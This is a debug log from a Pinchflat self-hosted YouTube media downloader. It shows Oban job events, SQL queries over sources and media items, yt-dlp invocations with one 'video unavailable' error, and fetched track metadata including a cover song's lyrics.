{"args":{"id":194},"id":195,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3456541,"event":"job:stop","queue_time":6731014,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:24.704 [debug] QUERY OK source="sources" db=8.5ms idle=144.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:24.719 [debug] QUERY OK source="media_items" db=13.7ms idle=152.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:24.856 [info] {"args":{"id":196},"id":197,"meta":{},"system_time":1784859624856319337,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:24.856 [debug] QUERY OK source="media_items" db=0.2ms idle=151.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [196] 22:20:24.857 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:24.857 [debug] QUERY OK source="sources" db=0.1ms idle=138.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:24.857 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:24.857 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [196] 22:20:24.858 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [196] 22:20:24.858 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:24.898 [debug] QUERY OK source="media_items" db=344.1ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [356] 22:20:24.898 [info] Kicking off download for media item #356 (Y9oLpJIjNEU) 22:20:24.898 [debug] QUERY OK source="media_items" db=179.4ms idle=16.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:24.918 [debug] Replied in 222ms 22:20:24.919 [debug] QUERY OK source="settings" db=20.3ms queue=0.1ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:24.922 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 1} 22:20:24.922 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:24.947 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KuYc0SyH5hc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/74/d9742690520ed1579b0f305ea842b6ad6cd0081e912ef25e8cbf378cd3a617fa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] KuYc0SyH5hc: Video unavailable. This video is not available 22:20:24.947 [error] yt-dlp download error for media item #195: "ERROR: [youtube] KuYc0SyH5hc: Video unavailable. This video is not available\n" 22:20:24.947 [error] yt-dlp download will not be retried: "ERROR: [youtube] KuYc0SyH5hc: Video unavailable. This video is not available\n" 22:20:25.352 [debug] QUERY OK source="sources" db=429.8ms queue=0.3ms idle=23.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:25.352 [debug] QUERY OK source="tasks" db=307.5ms queue=0.1ms idle=124.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [202, 356, ~U[2026-07-24 02:20:25Z], ~U[2026-07-24 02:20:25Z]] 22:20:25.353 [info] {"args":{"id":195},"id":196,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3729442,"event":"job:stop","queue_time":7102705,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:25.353 [debug] QUERY OK source="settings" db=429.4ms idle=24.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:25.353 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=308.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:25.353 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nPeace That Starts the War · Wolves At The Gate · Steve Cobucci · Joe Alarcon · Abishai Collingsworth · Ben Summers\n\nPeace That Starts the War\n\n℗ 2022 Solid State Records\n\nReleased on: 2022-02-11\n\nProducer: Steve Cobucci\nProducer: Joey Alarcon\nA And R Coordinator: Adam Skatula\nAdditional Engineer: Ernie Slenkovich\nMastering Engineer, Mixer: Taylor Larson\nAdditional Engineer: Anthony Potenza\n\nAuto-generated by YouTube.", "duration" => 168, "filename" => "/downloads/ChristianMetal/ChristianMetal/2022-02-10Peace That Starts the War[knToTGlWYvU].m4a", "id" => "knToTGlWYvU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=knToTGlWYvU", "playlist_index" => 41, "timestamp" => 1644487724, "title" => "Peace That Starts the War", "upload_date" => "20220210"} 22:20:25.354 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Caitlin Myers' English cover of \"Stay With Me\" by Miki Matsubara\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/stay-with-me-mp3-48676352 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"真夜中のドア/Stay With Me\" - Originally by: Miki Matsubara) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers\n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Art: @UsagiHime777 \n✧ Video: @REINA \n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nTo you\nYes my love, to you\nYes my love, to you\nYou, to you\n\n“I’m who I am, as I am; you’re who you are, as who you are”\nThe final words you whispered, before you left me with a scar\n\nOn your familiar silver jacket \nSplattered coffee’s left a stain, destined always to remain\nAnd still we’re lost inside the habit\nTears reflecting in the pane, show our pitiful refrain\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME…\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret our love\n\n“Confusing love and lovin’, there is a difference though bizarre”\nThe final words you whispered, before you left me with a scar\n\nAnother winter is arriving\nLike a bird you went away, migrate back to me and stay\nBut still I’m lost inside the habit\nHere I’m yearning for your touch, will it ever matter much\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nThis heart of mine is breaking once more\nNow the winter arrived, like the tears in my eyes,\nSTAY WITH ME...\nFor your company my pride I gave away\nThe needle on my record as it plays\nBittersweet melodies, on an endless repeat, it seems\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret- \n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for \nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret-\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\n\nSTAY WITH ME...\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#staywithme #mikimatsubara #citypop #CaitlinMyers", "duration" => 311, "filename" => "/downloads/Classics/Classics/2021-03-13Stay With Me | ENGLISH VERSION | Caitlin Myers[xZ4p3PsGGA0].m4a", "id" => "xZ4p3PsGGA0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xZ4p3PsGGA0", "playlist_index" => 15, "timestamp" => 1615651259, "title" => "Stay With Me | ENGLISH VERSION | Caitlin Myers", "upload_date" => "20210313"} 22:20:25.354 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:25.354 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:25.354 [debug] QUERY OK source="settings" db=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:25.355 [debug] QUERY OK source="media_items" db=0.9ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:25.355 [debug] Replied in 433ms 22:20:25.355 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:25.355 [debug] QUERY OK source="sources" db=1.2ms idle=0.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:25.355 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xSWL3L9FnQ4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/79/98/79989567621ac7d6c56e85042e7858f05d92f12152e53473992d96081635c953.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:25.356 [debug] QUERY OK source="sources" db=0.6ms queue=0.3ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:25.356 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-10 10:08:44Z], 5] 22:20:25.357 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 1} 22:20:25.357 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-03-13 16:00:59Z], 2] 22:20:25.358 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:25.359 [debug] QUERY OK source="media_items" db=0.7ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:20:25.506 [debug] QUERY OK source="media_items" db=149.4ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nPeace That Starts the War · Wolves At The Gate · Steve Cobucci · Joe Alarcon · Abishai Collingsworth · Ben Summers\n\nPeace That Starts the War\n\n℗ 2022 Solid State Records\n\nReleased on: 2022-02-11\n\nProducer: Steve Cobucci\nProducer: Joey Alarcon\nA And R Coordinator: Adam Skatula\nAdditional Engineer: Ernie Slenkovich\nMastering Engineer, Mixer: Taylor Larson\nAdditional Engineer: Anthony Potenza\n\nAuto-generated by YouTube.", "Peace That Starts the War", "a0c1521b-5b6a-46d0-855f-6f81c5ec7992", false, "knToTGlWYvU", 168, false, "https://www.youtube.com/watch?v=knToTGlWYvU", 41, "/downloads/ChristianMetal/ChristianMetal/2022-02-10Peace That Starts the War[knToTGlWYvU].m4a", false, false, 5, [], 1, ~U[2022-02-10 10:08:44Z], ~U[2026-07-24 02:20:25Z], ~U[2026-07-24 02:20:25Z], "Provided to YouTube by The Orchard Enterprises\n\nPeace That Starts the War · Wolves At The Gate · Steve Cobucci · Joe Alarcon · Abishai Collingsworth · Ben Summers\n\nPeace That Starts the War\n\n℗ 2022 Solid State Records\n\nReleased on: 2022-02-11\n\nProducer: Steve Cobucci\nProducer: Joey Alarcon\nA And R Coordinator: Adam Skatula\nAdditional Engineer: Ernie Slenkovich\nMastering Engineer, Mixer: Taylor Larson\nAdditional Engineer: Anthony Potenza\n\nAuto-generated by YouTube.", "Peace That Starts the War", "knToTGlWYvU", 168, false, "https://www.youtube.com/watch?v=knToTGlWYvU", "/downloads/ChristianMetal/ChristianMetal/2022-02-10Peace That Starts the War[knToTGlWYvU].m4a", false, 5, ~U[2022-02-10 10:08:44Z]] 22:20:25.518 [debug] QUERY OK source="sources" db=10.9ms idle=147.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:25.518 [debug] QUERY OK source="media_profiles" db=0.1ms idle=11.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:25.918 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PLCNCRHWFrHFw27-3S7sNjLhM3X9B1iop6 --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/ChristianMetal/ChristianMetal/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/35/aa/35aa474b0f9779c126b0d8a555ccebf3728a24aa61b9a5a92d2867f7d497b0db.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:20:25.918 [info] {"args":{"id":200},"id":198,"meta":{},"system_time":1784859625918038105,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:25.918 [debug] QUERY OK source="media_items" db=8.9ms queue=0.1ms idle=391.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false 